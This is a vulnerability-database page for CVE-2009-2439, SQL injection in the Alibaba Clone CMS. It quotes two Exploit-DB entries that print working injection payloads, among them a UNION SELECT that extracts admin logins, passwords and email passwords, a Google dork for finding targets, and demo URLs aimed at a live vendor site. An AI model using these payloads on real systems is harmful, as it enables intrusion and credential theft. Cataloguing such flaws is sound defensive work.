CVE-2009-2439
published 2009-07-13CVE-2009-2439: Multiple SQL injection vulnerabilities in Web Development House Alibaba Clone allow remote attackers to execute arbitrary SQL commands via the (1) IndustryID…
PriorityP342high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
1.00%
58.5th percentile
Multiple SQL injection vulnerabilities in Web Development House Alibaba Clone allow remote attackers to execute arbitrary SQL commands via the (1) IndustryID parameter to category.php and the (2) SellerID parameter to supplier/view_contact_details.php. NOTE: this is a product that was developed by a third party; it is not associated with alibaba.com or the Alibaba Group.
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
cms (id) 5.0 - SQL Injection
exploitdb·2010-04-22
CVE-2009-2439 cms (id) 5.0 - SQL Injection
cms (id) 5.0 - SQL Injection
---
CmS (id) SQL Injection Vulnerability
Author : spykit
Site : http://devilzc0de.org/
Date : April, 22-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CmS
Vendor : http://hotsweb.com
Price : free
Version : version 5.0
Google Dork: allinurl: Category.php?IndustrYID=
Exploitz:
~~~~~~~
union all select
1,2,concat_ws(0x3a,LoginID,Password,AdminEmail,AdminEmailPassword) from
admin--
SQLi p0c:
~~~~~~~
http://127.0.0.1/[path]/category.php?IndustryID=[SQLI]
Shoutz:
~~~~
- 'oH lawd !! Malingsial lame forum g0t hacked for second times by
Us,lulz...'
-
LeQhi,lingah,GheMaX,v3n0m,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn
Exploit-DB
Alibaba-clone CMS - SQL Injection / Blind SQL Injection
exploitdb·2009-07-20
CVE-2009-2439 Alibaba-clone CMS - SQL Injection / Blind SQL Injection
Alibaba-clone CMS - SQL Injection / Blind SQL Injection
---
# [+] Alibaba-clone CMS (SQL/bSQL) Remote SQL Injection
# [+] Author : 599eme Man
# [+] Contact : [email protected]
# [+] Dowload : http://blog.duslerim.net/cms/alibabacom-clone-new.html
# [+] Big Thanks to: Moudi :)
>> [+] Exploit :
http://www.site.com/path/supplier/view_contact_details.php?SellerID=(Blind) or (SQL)
http://www.site.com/path/category.php?IndustryID=(Blind) or (SQL)
>> [+] Demo BLIND:
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1 > [+] Demo SQL:
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,version()--
The MYSQL version is : 5
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,user(
No writeups or analysis indexed.
2009-07-13
Published